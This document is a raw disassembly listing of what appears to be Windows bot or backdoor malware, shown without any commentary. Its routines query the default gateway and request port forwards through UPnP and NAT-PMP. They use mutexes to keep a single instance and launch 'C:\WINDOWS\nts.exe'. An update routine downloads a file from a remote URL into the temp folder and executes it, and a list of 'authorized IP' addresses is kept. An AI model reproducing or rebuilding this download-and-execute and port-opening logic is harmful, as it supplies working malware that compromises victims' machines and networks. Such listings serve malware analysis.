cmp byte ptr [edi], 0
jz short loc_402FEB
inc edi
jmp short loc_402FEB
; ---------------------------------------------------------------------------
loc_402FEA: ; CODE XREF: sub_402B02+4F1j
inc edi
loc_402FEB: ; CODE XREF: sub_402B02+4E3j
; sub_402B02+4E6j
mov al, [edi]
test al, al
jz short loc_402FF5
cmp al, 2Fh
jnz short loc_402FEA
loc_402FF5: ; CODE XREF: sub_402B02+4C0j
; sub_402B02+4EDj
movzx eax, [ebp+arg_4]
push eax
movzx eax, [ebp+arg_0]
push eax
push edi
movzx eax, [ebp+var_183E]
push eax
lea eax, [ebp+var_187E]
push eax
push 0
call sub_402896
add esp, 18h
test eax, eax
jnz short loc_403059
movzx eax, [ebp+arg_4]
push eax
movzx eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_400]
push eax
movzx eax, [ebp+var_183E]
push eax
lea eax, [ebp+var_187E]
push eax
push 1
call sub_402896
add esp, 18h
test eax, eax
jnz short loc_403059
push [ebp+var_183C]
call sub_401076
pop ecx
jmp short loc_40307C
; ---------------------------------------------------------------------------
loc_403059: ; CODE XREF: sub_402B02+519j
; sub_402B02+547j
push [ebp+var_404]
push offset aIupnpDiscove_4 ; "IUPnP discovery request #%i: ok.\n"
call sub_407260
pop ecx
pop ecx
mov eax, [ebp+var_408]
push eax
call sub_406CC6 ; closesocket
xor eax, eax
inc eax
jmp short loc_40309D
; ---------------------------------------------------------------------------
loc_40307C: ; CODE XREF: sub_402B02+1F7j
; sub_402B02+259j ...
inc [ebp+var_404]
loc_403082: ; CODE XREF: sub_402B02+EDj
; sub_402B02+FEj
cmp [ebp+var_404], 3
jl loc_402C05
mov eax, [ebp+var_408]
push eax
call sub_406CC6 ; closesocket
xor eax, eax
loc_40309D: ; CODE XREF: sub_402B02+159j
; sub_402B02+1A1j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_402B02 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4030A4 proc near ; CODE XREF: sub_403113+16p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
and [ebp+var_4], 0
xor esi, esi
push 3Ch
call sub_401048
pop ecx
mov ebx, eax
test eax, eax
jz short loc_40310D
push 0
lea eax, [ebp+var_4]
push eax
push ebx
call sub_406D38 ; GetIpForwardTable
cmp eax, 7Ah
jnz short loc_4030E8
push ebx
call sub_401076
pop ecx
mov eax, [ebp+var_4]
push eax
call sub_401048
pop ecx
mov ebx, eax
test eax, eax
jz short loc_40310D
loc_4030E8: ; CODE XREF: sub_4030A4+2Bj
push 0
lea eax, [ebp+var_4]
push eax
push ebx
call sub_406D38 ; GetIpForwardTable
test eax, eax
jnz short loc_403104
mov eax, [ebx]
mov [ebp+var_8], eax
test eax, eax
jz short loc_403104
mov esi, [ebx+10h]
loc_403104: ; CODE XREF: sub_4030A4+52j
; sub_4030A4+5Bj
push ebx
call sub_401076
pop ecx
mov eax, esi
loc_40310D: ; CODE XREF: sub_4030A4+1Aj
; sub_4030A4+42j
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4030A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403113 proc near ; CODE XREF: sub_40356A+17p
; sub_404967+F5p
var_C0 = dword ptr -0C0h
var_BC = byte ptr -0BCh
var_B8 = dword ptr -0B8h
var_AC = word ptr -0ACh
var_AA = word ptr -0AAh
var_A8 = dword ptr -0A8h
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = word ptr -94h
var_92 = word ptr -92h
var_90 = dword ptr -90h
var_84 = dword ptr -84h
var_80 = byte ptr -80h
var_7F = byte ptr -7Fh
var_78 = byte ptr -78h
push ebp
mov ebp, esp
sub esp, 0C0h
push ebx
push esi
push edi
mov [ebp+var_9C], 0FAh
call sub_4030A4
mov [ebp+var_84], eax
test eax, eax
jz loc_40331B
mov [ebp+var_94], 2
mov eax, [ebp+var_84]
mov [ebp+var_90], eax
push 14E7h
call sub_406CD8 ; htons
mov [ebp+var_92], ax
mov eax, [ebp+var_84]
mov [ebp+var_98], eax
push eax
call sub_406D20 ; inet_ntoa
push eax
push offset aDefaultGateway ; "default gateway: [%s]\n"
call sub_407260
pop ecx
pop ecx
xor ebx, ebx
inc ebx
push 11h
push 2
push 2
call sub_406CBA ; socket
mov esi, eax
push 10h
push 0
lea eax, [ebp+var_AC]
push eax
call sub_4075D0
add esp, 0Ch
mov [ebp+var_AC], 2
mov eax, [ebp+var_84]
mov [ebp+var_A8], eax
push 14E7h
call sub_406CD8 ; htons
mov [ebp+var_AA], ax
lea edi, [ebp+var_AC]
push 10h
push edi
push esi
call sub_406CE4 ; bind
jmp loc_40330A
; ---------------------------------------------------------------------------
loc_4031DE: ; CODE XREF: sub_403113+1FAj
mov [ebp+var_C0], 10h
push ebx
push offset aSendingNatPmpR ; "sending NAT-PMP request #%i...\n"
call sub_407260
pop ecx
pop ecx
mov [ebp+var_80], 0
mov [ebp+var_7F], 0
push 10h
lea eax, [ebp+var_94]
push eax
push 0
push 2
lea eax, [ebp+var_80]
push eax
push esi
call sub_406D26 ; sendto
test eax, eax
jge short loc_403225
push esi
call sub_406CC6 ; closesocket
xor eax, eax
jmp loc_40331B
; ---------------------------------------------------------------------------
loc_403225: ; CODE XREF: sub_403113+103j
push ebx
push offset aSetsockoptNatP ; "setsockopt NAT-PMP request #%i...\n"
call sub_407260
pop ecx
pop ecx
push 4
lea eax, [ebp+var_9C]
push eax
push 1006h
push 0FFFFh
push esi
call sub_406CC0 ; setsockopt
test eax, eax
jge short loc_40325C
push esi
call sub_406CC6 ; closesocket
xor eax, eax
jmp loc_40331B
; ---------------------------------------------------------------------------
loc_40325C: ; CODE XREF: sub_403113+13Aj
push ebx
push offset aReceivingNatPm ; "receiving NAT-PMP request #%i...\n"
call sub_407260
pop ecx
pop ecx
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_BC]
push eax
push 0
push 0Ch
lea eax, [ebp+var_80]
push eax
push esi
call sub_406D2C ; recvfrom
test eax, eax
jge short loc_4032A4
call sub_406D32 ; WSAGetLastError
cmp eax, 274Ch
jnz short loc_40329A
cmp ebx, 9
jnz short loc_403303
loc_40329A: ; CODE XREF: sub_403113+180j
push esi
call sub_406CC6 ; closesocket
xor eax, eax
jmp short loc_40331B
; ---------------------------------------------------------------------------
loc_4032A4: ; CODE XREF: sub_403113+174j
push ebx
push offset aNatPmpRequestI ; "NAT-PMP request #%i - ok\n"
call sub_407260
pop ecx
pop ecx
mov eax, [ebp+var_90]
cmp [ebp+var_B8], eax
jnz short loc_403303
push 4
lea eax, [ebp+var_78]
push eax
lea eax, [ebp+var_84]
push eax
call sub_407630
add esp, 0Ch
mov eax, [ebp+var_84]
mov [ebp+var_98], eax
push eax
call sub_406D20 ; inet_ntoa
push eax
push ebx
push offset aNatPmpReques_0 ; "NAT-PMP request #%i - public IP: [%s]\n"
call sub_407260
add esp, 0Ch
push esi
call sub_406CC6 ; closesocket
mov eax, [ebp+var_84]
jmp short loc_40331B
; ---------------------------------------------------------------------------
loc_403303: ; CODE XREF: sub_403113+185j
; sub_403113+1AAj
inc ebx
shl [ebp+var_9C], 1
loc_40330A: ; CODE XREF: sub_403113+C6j
cmp ebx, 0Ah
jl loc_4031DE
push esi
call sub_406CC6 ; closesocket
xor eax, eax
loc_40331B: ; CODE XREF: sub_403113+23j
; sub_403113+10Dj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_403113 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403322 proc near ; CODE XREF: sub_40356A+33p
; sub_404967+110p
var_C0 = dword ptr -0C0h
var_BC = byte ptr -0BCh
var_B8 = dword ptr -0B8h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = word ptr -0A4h
var_A2 = word ptr -0A2h
var_A0 = dword ptr -0A0h
var_94 = dword ptr -94h
var_90 = word ptr -90h
var_8E = word ptr -8Eh
var_8C = dword ptr -8Ch
var_80 = byte ptr -80h
var_7F = byte ptr -7Fh
var_7E = byte ptr -7Eh
var_7D = byte ptr -7Dh
var_7C = byte ptr -7Ch
var_7A = byte ptr -7Ah
var_78 = byte ptr -78h
var_76 = byte ptr -76h
var_75 = byte ptr -75h
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
arg_8 = word ptr 10h
push ebp
mov ebp, esp
sub esp, 0C0h
push ebx
push esi
push edi
mov [ebp+var_94], 0FAh
mov [ebp+var_90], 2
mov eax, [ebp+arg_0]
mov [ebp+var_8C], eax
push 14E7h
call sub_406CD8 ; htons
mov [ebp+var_8E], ax
mov eax, [ebp+arg_0]
mov [ebp+var_A8], eax
push eax
call sub_406D20 ; inet_ntoa
push eax
push offset aRouterIpS ; "router ip: [%s]\n"
call sub_407260
pop ecx
pop ecx
xor esi, esi
inc esi
push 11h
push 2
push 2
call sub_406CBA ; socket
mov edi, eax
push 10h
push 0
lea eax, [ebp+var_A4]
push eax
call sub_4075D0
add esp, 0Ch
mov [ebp+var_A4], 2
mov eax, [ebp+arg_0]
mov [ebp+var_A0], eax
push 14E7h
call sub_406CD8 ; htons
mov [ebp+var_A2], ax
lea eax, [ebp+var_A4]
mov [ebp+var_AC], eax
push 10h
push [ebp+var_AC]
push edi
call sub_406CE4 ; bind
jmp loc_403552
; ---------------------------------------------------------------------------
loc_4033DC: ; CODE XREF: sub_403322+233j
mov [ebp+var_C0], 10h
push esi
push offset aSendingNatPmpF ; "sending NAT-PMP fwd request #%i...\n"
call sub_407260
pop ecx
pop ecx
mov [ebp+var_80], 0
mov [ebp+var_7F], 2
mov [ebp+var_7E], 0
mov [ebp+var_7D], 0
lea ebx, [ebp+var_7C]
movzx eax, [ebp+arg_4]
push eax
call sub_406CD8 ; htons
mov [ebx], ax
lea ebx, [ebp+var_7A]
movzx eax, [ebp+arg_8]
push eax
call sub_406CD8 ; htons
mov [ebx], ax
lea ebx, [ebp+var_78]
mov word ptr [ebx], 0E10h
mov [ebp+var_76], 0
mov [ebp+var_75], 0
push 10h
lea eax, [ebp+var_90]
push eax
push 0
push 0Ch
lea eax, [ebp+var_80]
push eax
push edi
call sub_406D26 ; sendto
test eax, eax
jge short loc_40345B
push edi
call sub_406CC6 ; closesocket
xor eax, eax
jmp loc_403563
; ---------------------------------------------------------------------------
loc_40345B: ; CODE XREF: sub_403322+12Aj
push esi
push offset aSetsockoptNa_0 ; "setsockopt NAT-PMP fwd request #%i...\n"
call sub_407260
pop ecx
pop ecx
push 4
lea eax, [ebp+var_94]
push eax
push 1006h
push 0FFFFh
push edi
call sub_406CC0 ; setsockopt
test eax, eax
jge short loc_403492
push edi
call sub_406CC6 ; closesocket
xor eax, eax
jmp loc_403563
; ---------------------------------------------------------------------------
loc_403492: ; CODE XREF: sub_403322+161j
push esi
push offset aReceivingNat_0 ; "receiving NAT-PMP fwd request #%i...\n"
call sub_407260
pop ecx
pop ecx
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_BC]
push eax
push 0
push 10h
lea eax, [ebp+var_80]
push eax
push edi
call sub_406D2C ; recvfrom
test eax, eax
jge short loc_4034DD
call sub_406D32 ; WSAGetLastError
cmp eax, 274Ch
jnz short loc_4034D0
cmp esi, 9
jnz short loc_40354B
loc_4034D0: ; CODE XREF: sub_403322+1A7j
push edi
call sub_406CC6 ; closesocket
xor eax, eax
jmp loc_403563
; ---------------------------------------------------------------------------
loc_4034DD: ; CODE XREF: sub_403322+19Bj
push esi
push offset aNatPmpFwdReque ; "NAT-PMP fwd request #%i - ok\n"
call sub_407260
pop ecx
pop ecx
mov eax, [ebp+var_8C]
cmp [ebp+var_B8], eax
jnz short loc_40354B
cmp [ebp+var_7F], 82h
jnz short loc_40354B
lea ebx, [ebp+var_7E]
cmp word ptr [ebx], 0
jnz short loc_40354B
lea ebx, [ebp+var_78]
movzx eax, [ebp+arg_4]
push eax
call sub_406CD8 ; htons
cmp [ebx], ax
jnz short loc_40354B
lea ebx, [ebp+var_76]
movzx eax, word ptr [ebx]
push eax
call sub_406CF6 ; htons
movzx eax, ax
push eax
push esi
push offset aNatPmpReques_1 ; "NAT-PMP request #%i - port: [%i]\n"
call sub_407260
add esp, 0Ch
push edi
call sub_406CC6 ; closesocket
movzx eax, word ptr [ebx]
push eax
call sub_406CD8 ; htons
movzx eax, ax
jmp short loc_403563
; ---------------------------------------------------------------------------
loc_40354B: ; CODE XREF: sub_403322+1ACj
; sub_403322+1D4j ...
inc esi
shl [ebp+var_94], 1
loc_403552: ; CODE XREF: sub_403322+B5j
cmp esi, 0Ah
jl loc_4033DC
push edi
call sub_406CC6 ; closesocket
xor eax, eax
loc_403563: ; CODE XREF: sub_403322+134j
; sub_403322+16Bj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_403322 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40356A proc near ; DATA XREF: sub_406677+3Fo
; DMN1:00447637o
push ebx
push esi
push edi
loc_40356D: ; CODE XREF: sub_40356A:loc_4035FBj
xor ebx, ebx
inc ebx
loc_403570: ; CODE XREF: sub_40356A+15j
push 0EA60h
call dword_411D00 ; Sleep
inc ebx
cmp ebx, 3Fh
jl short loc_403570
call sub_403113
mov edi, eax
mov eax, dword_411010
mov si, ax
movzx eax, si
push eax
movzx eax, word ptr dword_41100C
push eax
push edi
call sub_403322
add esp, 0Ch
mov si, ax
test si, si
jz short loc_4035CD
movzx eax, si
cmp eax, dword_411010
jz short loc_4035CD
movzx eax, si
mov dword_411010, eax
push 1
push offset dword_411024
call dword_411D04 ; InterlockedExchange
loc_4035CD: ; CODE XREF: sub_40356A+41j
; sub_40356A+4Cj
movzx eax, word ptr dword_41100C
push eax
push eax
call sub_402B02
pop ecx
pop ecx
test eax, eax
jz short loc_4035FB
mov eax, dword_41100C
cmp dword_411010, eax
jz short loc_4035FB
push 1
push offset dword_411024
call dword_411D04 ; InterlockedExchange
loc_4035FB: ; CODE XREF: sub_40356A+75j
; sub_40356A+82j
jmp loc_40356D
sub_40356A endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
retn
; =============== S U B R O U T I N E =======================================
sub_403604 proc near ; CODE XREF: sub_4066F1+77p
push ebx
cmp dword_411018, 0
jz short loc_403612
xor eax, eax
jmp short loc_403656
; ---------------------------------------------------------------------------
loc_403612: ; CODE XREF: sub_403604+8j
xor ebx, ebx
push offset a__win32__nts_s ; "__win32__nts_sdm__"
push 0
push 0
call dword_411D08 ; CreateMutexA
mov dword_411018, eax
cmp dword_411018, 0
jz short loc_403654
call dword_411CE8 ; RtlGetLastWin32Error
cmp eax, 0B7h
jnz short loc_403654
xor ebx, ebx
inc ebx
push dword_411018
call dword_411CF8 ; CloseHandle
and dword_411018, 0
loc_403654: ; CODE XREF: sub_403604+2Bj
; sub_403604+38j
mov eax, ebx
loc_403656: ; CODE XREF: sub_403604+Cj
pop ebx
retn
sub_403604 endp
; =============== S U B R O U T I N E =======================================
sub_403658 proc near ; CODE XREF: sub_403FEAp
; sub_40400E+81p ...
push ebx
push esi
xor esi, esi
push offset a__win32__nts_s ; "__win32__nts_sdm__"
push 0
push 100000h
call dword_411D0C ; OpenMutexA
mov ebx, eax
test ebx, ebx
jz short loc_403680
xor esi, esi
inc esi
push ebx
call dword_411CF8 ; CloseHandle
xor ebx, ebx
loc_403680: ; CODE XREF: sub_403658+1Aj
mov eax, esi
pop esi
pop ebx
retn
sub_403658 endp
; =============== S U B R O U T I N E =======================================
sub_403685 proc near ; CODE XREF: sub_4066F1+C5p
cmp dword_411018, 0
jz short locret_4036A1
push dword_411018
call dword_411CF8 ; CloseHandle
and dword_411018, 0
locret_4036A1: ; CODE XREF: sub_403685+7j
retn
sub_403685 endp
; ---------------------------------------------------------------------------
push ebx
cmp dword_41101C, 0
jz short loc_4036B0
xor eax, eax
jmp short loc_4036F4
; ---------------------------------------------------------------------------
loc_4036B0: ; CODE XREF: DMN0:004036AAj
xor ebx, ebx
push offset a_win32__nts_sm ; "_win32__nts_sm__"
push 0
push 0
call dword_411D08 ; CreateMutexA
mov dword_41101C, eax
cmp dword_41101C, 0
jz short loc_4036F2
call dword_411CE8 ; RtlGetLastWin32Error
cmp eax, 0B7h
jnz short loc_4036F2
xor ebx, ebx
inc ebx
push dword_41101C
call dword_411CF8 ; CloseHandle
and dword_41101C, 0
loc_4036F2: ; CODE XREF: DMN0:004036CDj
; DMN0:004036DAj
mov eax, ebx
loc_4036F4: ; CODE XREF: DMN0:004036AEj
pop ebx
retn
; =============== S U B R O U T I N E =======================================
sub_4036F6 proc near ; CODE XREF: sub_406485+9p
; sub_406485:loc_406618p
push ebx
push esi
xor esi, esi
push offset a_win32__nts_sm ; "_win32__nts_sm__"
push 0
push 100000h
call dword_411D0C ; OpenMutexA
mov ebx, eax
test ebx, ebx
jz short loc_40371E
xor esi, esi
inc esi
push ebx
call dword_411CF8 ; CloseHandle
xor ebx, ebx
loc_40371E: ; CODE XREF: sub_4036F6+1Aj
mov eax, esi
pop esi
pop ebx
retn
sub_4036F6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403723 proc near ; CODE XREF: sub_40399A+16Ep
; sub_4066F1+FBp ...
var_854 = dword ptr -854h
var_850 = dword ptr -850h
var_844 = byte ptr -844h
var_44 = dword ptr -44h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 854h
push ebx
push esi
mov ebx, [ebp+arg_8]
mov esi, [ebp+arg_C]
test esi, esi
jz short loc_40373B
and dword ptr [esi], 0
loc_40373B: ; CODE XREF: sub_403723+13j
push 44h
push 0
lea eax, [ebp+var_44]
push eax
call sub_4075D0
add esp, 0Ch
mov [ebp+var_44], 44h
test ebx, ebx
jz short loc_40376B
push offset asc_40EDC7 ; "\""
lea eax, [ebp+var_844]
push eax
call sub_407670
pop ecx
pop ecx
jmp short loc_403772
; ---------------------------------------------------------------------------
loc_40376B: ; CODE XREF: sub_403723+31j
mov [ebp+var_844], 0
loc_403772: ; CODE XREF: sub_403723+46j
cmp [ebp+arg_0], 0
jz short loc_40378B
push [ebp+arg_0]
lea eax, [ebp+var_844]
push eax
call sub_407690
pop ecx
pop ecx
jmp short loc_40379E
; ---------------------------------------------------------------------------
loc_40378B: ; CODE XREF: sub_403723+53j
push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
lea eax, [ebp+var_844]
push eax
call sub_407690
pop ecx
pop ecx
loc_40379E: ; CODE XREF: sub_403723+66j
test ebx, ebx
jz short loc_4037B5
push offset asc_40EDC7 ; "\""
lea eax, [ebp+var_844]
push eax
call sub_407690
pop ecx
pop ecx
loc_4037B5: ; CODE XREF: sub_403723+7Dj
cmp [ebp+arg_4], 0
jz short loc_4037DF
push offset asc_40EDB2 ; " "
lea eax, [ebp+var_844]
push eax
call sub_407690
pop ecx
pop ecx
push [ebp+arg_4]
lea eax, [ebp+var_844]
push eax
call sub_407690
pop ecx
pop ecx
loc_4037DF: ; CODE XREF: sub_403723+96j
lea eax, [ebp+var_854]
push eax
lea eax, [ebp+var_44]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp+var_844]
push eax
push 0
call dword_411D10 ; CreateProcessA
test eax, eax
jz short loc_403832
push [ebp+var_850]
call dword_411CF8 ; CloseHandle
test esi, esi
jz short loc_403823
mov eax, [ebp+var_854]
mov [esi], eax
jmp short loc_40382F
; ---------------------------------------------------------------------------
loc_403823: ; CODE XREF: sub_403723+F4j
push [ebp+var_854]
call dword_411CF8 ; CloseHandle
loc_40382F: ; CODE XREF: sub_403723+FEj
xor eax, eax
inc eax
loc_403832: ; CODE XREF: sub_403723+E4j
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_403723 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403838 proc near ; CODE XREF: sub_40399A+65p
var_408 = dword ptr -408h
var_404 = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 408h
push ebx
push esi
push edi
push 0
push 0
push 0
push 1
push offset aMsdownloader ; "msdownloader"
call dword_411EF0 ; InternetOpenA
mov edi, eax
push edi
push offset aInternetopenI ; "InternetOpen(): %i\n"
call nullsub_2
pop ecx
pop ecx
test edi, edi
jnz short loc_403871
xor eax, eax
jmp loc_403993
; ---------------------------------------------------------------------------
loc_403871: ; CODE XREF: sub_403838+30j
push 0
push 80080300h
push 0
push 0
push [ebp+arg_0]
push edi
call dword_411EF4 ; InternetOpenUrlA
mov ebx, eax
push edi
push offset aInternetopenur ; "InternetOpenUrl(): %i\n"
call nullsub_2
pop ecx
pop ecx
test ebx, ebx
jnz short loc_4038A7
push edi
call dword_411EF8 ; InternetCloseHandle
xor eax, eax
jmp loc_403993
; ---------------------------------------------------------------------------
loc_4038A7: ; CODE XREF: sub_403838+5Fj
push offset aWb_0 ; "wb"
push [ebp+arg_4]
call sub_407300
pop ecx
pop ecx
mov esi, eax
test esi, esi
jnz short loc_4038E0
push [ebp+arg_4]
push offset aFopenS___ ; "fopen(%s)...\n"
call nullsub_2
pop ecx
pop ecx
push ebx
call dword_411EF8 ; InternetCloseHandle
push edi
call dword_411EF8 ; InternetCloseHandle
xor eax, eax
jmp loc_403993
; ---------------------------------------------------------------------------
loc_4038E0: ; CODE XREF: sub_403838+82j
push [ebp+arg_4]
push [ebp+arg_0]
push offset aDownloadingSS ; "downloading [%s] --> %s\r\n"
call nullsub_2
add esp, 0Ch
push 0
call dword_411D14 ; RtlRestoreLastWin32Error
jmp short loc_403918
; ---------------------------------------------------------------------------
loc_4038FD: ; CODE XREF: sub_403838+F9j
cmp [ebp+var_4], 0
jz short loc_403933
push esi
push 1
push [ebp+var_4]
lea eax, [ebp+var_404]
push eax
call sub_407760
add esp, 10h
loc_403918: ; CODE XREF: sub_403838+C3j
lea eax, [ebp+var_4]
push eax
push 3FFh
lea eax, [ebp+var_404]
push eax
push ebx
call dword_411EFC ; InternetReadFile
test eax, eax
jnz short loc_4038FD
loc_403933: ; CODE XREF: sub_403838+C9j
call dword_411CE8 ; RtlGetLastWin32Error
mov [ebp+var_408], eax
push esi
call sub_407560
pop ecx
push ebx
call dword_411EF8 ; InternetCloseHandle
push edi
call dword_411EF8 ; InternetCloseHandle
cmp [ebp+var_408], 0
jz short loc_40397D
push [ebp+arg_4]
push [ebp+arg_0]
push offset aDownloadedFail ; "downloaded failed: [%s] --> %s\r\n"
call nullsub_2
add esp, 0Ch
push [ebp+arg_4]
call dword_411D18 ; DeleteFileA
xor eax, eax
jmp short loc_403993
; ---------------------------------------------------------------------------
loc_40397D: ; CODE XREF: sub_403838+123j
push [ebp+arg_4]
push [ebp+arg_0]
push offset aDownloadedSS ; "downloaded [%s] --> %s\r\n"
call nullsub_2
add esp, 0Ch
xor eax, eax
inc eax
loc_403993: ; CODE XREF: sub_403838+34j
; sub_403838+6Aj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_403838 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40399A proc near ; DATA XREF: sub_403C3F+361o
; DMN1:00444F21o
var_3400 = byte ptr -3400h
var_2400 = byte ptr -2400h
var_1400 = byte ptr -1400h
var_1000 = byte ptr -1000h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 3400h
call sub_407730
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov [ebp+var_2400], 0
mov [ebp+var_1000], 0
mov esi, ebx
push esi
push offset aUpdateUrlS ; "UPDATE URL: <%s>\n"
call nullsub_2
pop ecx
pop ecx
lea eax, [ebp+var_3400]
push eax
push 0FFFh
call dword_411D1C ; GetTempPathA
lea eax, [ebp+var_2400]
push eax
push 0
push offset aMsss ; "msss"
lea eax, [ebp+var_3400]
push eax
call dword_411D20 ; GetTempFileNameA
lea eax, [ebp+var_2400]
push eax
push esi
call sub_403838
pop ecx
pop ecx
test eax, eax
jz loc_403B21
lea eax, [ebp+var_2400]
push eax
push offset aDownloadedToS ; "downloaded to: <%s>\n"
call nullsub_2
pop ecx
pop ecx
lea eax, [ebp+var_3400]
push eax
push 0FFFh
call dword_411D1C ; GetTempPathA
lea eax, [ebp+var_1000]
push eax
push 0
push offset aMsssx ; "msssx"
lea eax, [ebp+var_3400]
push eax
call dword_411D20 ; GetTempFileNameA
mov edi, dword_4128A4
push 0
lea eax, [ebp+var_1000]
push eax
push edi
call dword_411D24 ; CopyFileA
test eax, eax
jz loc_403B21
push 80h
lea eax, [ebp+var_1000]
push eax
call dword_411D28 ; SetFileAttributesA
push offset aUpdate ; "*update \""
lea eax, [ebp+var_1400]
push eax
call sub_407670
pop ecx
pop ecx
lea eax, [ebp+var_2400]
push eax
lea eax, [ebp+var_1400]
push eax
call sub_407690
pop ecx
pop ecx
push offset asc_40ECD5 ; "\" \""
lea eax, [ebp+var_1400]
push eax
call sub_407690
pop ecx
pop ecx
push edi
lea eax, [ebp+var_1400]
push eax
call sub_407690
pop ecx
pop ecx
push offset asc_40EDC7 ; "\""
lea eax, [ebp+var_1400]
push eax
call sub_407690
pop ecx
pop ecx
lea eax, [ebp+var_1400]
push eax
lea eax, [ebp+var_1000]
push eax
push offset aRunningSS___ ; "running %s (%s)...\r\n"
call nullsub_2
add esp, 0Ch
push 0
push 1
lea eax, [ebp+var_1400]
push eax
lea eax, [ebp+var_1000]
push eax
call sub_403723
add esp, 10h
test eax, eax
jz short loc_403B21
loc_403B14: ; CODE XREF: sub_40399A+185j
push 1770h
call dword_411D00 ; Sleep
jmp short loc_403B14
; ---------------------------------------------------------------------------
loc_403B21: ; CODE XREF: sub_40399A+6Ej
; sub_40399A+CCj ...
push 0
push offset dword_411014
call dword_411D04 ; InterlockedExchange
lea eax, [ebp+var_2400]
push eax
call sub_407650
pop ecx
test eax, eax
jz short loc_403B4C
lea eax, [ebp+var_2400]
push eax
call dword_411D18 ; DeleteFileA
loc_403B4C: ; CODE XREF: sub_40399A+1A3j
lea eax, [ebp+var_1000]
push eax
call sub_407650
pop ecx
test eax, eax
jz short loc_403B6A
lea eax, [ebp+var_1000]
push eax
call dword_411D18 ; DeleteFileA
loc_403B6A: ; CODE XREF: sub_40399A+1C1j
push ebx
call sub_401076
pop ecx
call sub_4079A0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40399A endp
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_403B7E proc near ; CODE XREF: sub_403C3F:loc_403E14p
xor ecx, ecx
mov eax, ecx
retn
sub_403B7E endp
; =============== S U B R O U T I N E =======================================
sub_403B83 proc near ; CODE XREF: sub_403C3F+13Bp
; sub_403C3F+14Dp
xor eax, eax
retn
sub_403B83 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403B86 proc near ; CODE XREF: sub_403C3F+2C6p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push eax
push ebx
push esi
mov ebx, [ebp+arg_4]
xor esi, esi
push offset dword_41285C
call dword_411CCC ; RtlEnterCriticalSection
cmp [ebp+arg_8], 0
jnz short loc_403BAE
push dword_412934
call sub_401F9B
pop ecx
loc_403BAE: ; CODE XREF: sub_403B86+1Aj
mov esi, [ebp+arg_0]
mov eax, ebx
mov ecx, 4
cdq
idiv ecx
mov ebx, eax
jmp short loc_403BF6
; ---------------------------------------------------------------------------
loc_403BBF: ; CODE XREF: sub_403B86+72j
push 0
push dword ptr [esi]
push dword_412934
call sub_402049
add esp, 0Ch
mov eax, [esi]
mov [ebp+var_4], eax
push eax
call sub_406D20 ; inet_ntoa
push eax
mov eax, dword_412934
push dword ptr [eax+8]
push offset aAuthorizedIpIS ; "authorized IP #%i [%s]\n"
call nullsub_2
add esp, 0Ch
dec ebx
add esi, 4
loc_403BF6: ; CODE XREF: sub_403B86+37j
test ebx, ebx
jg short loc_403BBF
push offset dword_41285C
call dword_411CD0 ; RtlLeaveCriticalSection
xor eax, eax
inc eax
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_403B86 endp
; ---------------------------------------------------------------------------
push ebx
push edi
mov ecx, [esp+0Ch]
mov ebx, [esp+10h]
xor edi, edi
jmp short loc_403C28
; ---------------------------------------------------------------------------
loc_403C1C: ; CODE XREF: DMN0:00403C32j
mov eax, [ebx+4]
mov [ecx], eax
mov ebx, [ebx+8]
add ecx, 4
inc edi
loc_403C28: ; CODE XREF: DMN0:00403C1Aj
cmp edi, 4000h
jge short loc_403C34
test ebx, ebx
jnz short loc_403C1C
loc_403C34: ; CODE XREF: DMN0:00403C2Ej
mov edx, [esp+14h]
mov [edx], edi
mov eax, ebx
pop edi
pop ebx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403C3F proc near ; DATA XREF: sub_40400E+Fo
; DMN1:00444F9Eo
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_2 = word ptr -2
push ebp
mov ebp, esp
sub esp, 30h
push ebx
push esi
push edi
push offset dword_41285C
call dword_411CCC ; RtlEnterCriticalSection
push dword_412934
call sub_401F9B
pop ecx
push offset dword_41285C
call dword_411CD0 ; RtlLeaveCriticalSection
